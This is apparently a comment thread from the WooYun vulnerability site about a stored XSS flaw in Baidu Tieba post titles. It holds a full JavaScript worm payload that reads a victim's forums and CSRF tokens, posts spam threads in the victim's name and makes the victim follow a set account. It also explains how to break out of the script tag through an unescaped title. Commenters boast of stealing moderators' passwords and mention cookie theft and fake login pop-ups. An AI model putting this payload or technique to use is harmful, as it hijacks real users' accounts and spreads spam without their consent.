WooYun.org

顶起！

已经获取到N个吧主密码。百度这次淡定了。

大锅，XSS能获取用户密码(非极端条件下)？高级啊牛逼啊。求获取密码的代码啊。

cookies.

弹登陆框也是不错的选择啊

早期的就爆过一次弹登陆框~

原来是谁先在这提交谁得分啊。。。。。

@anyunix 可以取到session，之前标题也可以这么弹function getmyforum(url){xmlHttp = createXHR(); xmlHttp.open("GET",url,false); xmlHttp.send(); result = xmlHttp.responseText;result = result.match(/\/f\?kw=[A-Z0-9\%]*&from=ucenter/g);return result;}function getarg(forumurl){xmlHttp = createXHR(); xmlHttp.open("GET",forumurl,false); xmlHttp.send(); result = xmlHttp.responseText;forumname = result.match("hidden\" name=\"kw\" id=\"kw\" value=\"[^\"]*").toString().split('"')[6];forumname = encodeURIComponent(forumname);fid = result.match("hidden\" name=\"fid\" id=\"fid\" value=\"[^\"]*").toString().split('"')[6];tbs = result.match("PageData.tbs = \"[a-z0-9]+\";").toString().split('"')[1];return [forumname,fid,tbs];}function publish_delay(data,i){var t=setTimeout("publish(data)",1000*i);}function publish(data){ url="http://tieba.baidu.com/f/commit/thread/add";xmlHttp = createXHR(); xmlHttp.open("POST",url,false); xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8"); xmlHttp.send(data);}function followme(){ url = "http://tieba.baidu.com/i/181104344";xmlHttp = createXHR(); xmlHttp.open("GET",url,false); xmlHttp.send();result = xmlHttp.responseText;tbs = result.match("[^_]tbs : \"[0-9a-z]*\"").toString().split('"')[1];portrait = result.match(/UserInfo.request\(\"[0-9a-z]*/).toString().split('"')[1];if(tbs == null || portrait == null){ return;}inf = 'cmd=follow&tbs=' + tbs + '&portrait=' + portrait;url="http://tieba.baidu.com/i/commit?stamp=" + new Date().getTime();;xmlHttp = createXHR(); xmlHttp.open("POST",url); xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8"); xmlHttp.send(inf);}function random_msg(){var tarr = new Array( '说不过就删帖封号,有意思吗?','这个楼我们一定要盖啊啊啊?','绝对震撼人心的语录,2011年','显然,或者,哦,这事做错了?');var carr = new Array(' RT ',' 难道不是吗? ',' 如题','我想说啥来着？？','我爱大清国,我怕他完了....');title = tarr[Math.floor(Math.random()*(tarr.length))];content = carr[Math.floor(Math.random()*(carr.length))];return [encodeURIComponent(title),encodeURIComponent(content)];}比如 这个自动发帖的脚本。。

这个漏洞的详细说明不详细，我在此补充下此漏洞原理： 帖子里大概有这么一段脚本：<script>var page={ "xx":1, "yy":2, "title":"帖子标题"}</script>其中，【帖子标题】里没有过滤 <,>,/ 等符号，导致<script> 标记可以被提前闭合<script>var page={ "xx":1, "yy":2, "title":"</script><script>自定义脚本内容</script>"}</script>

说起来LZ发的这东西不是我当时发在ID吧的那个吗- -当时玩得不亦乐乎来着 噗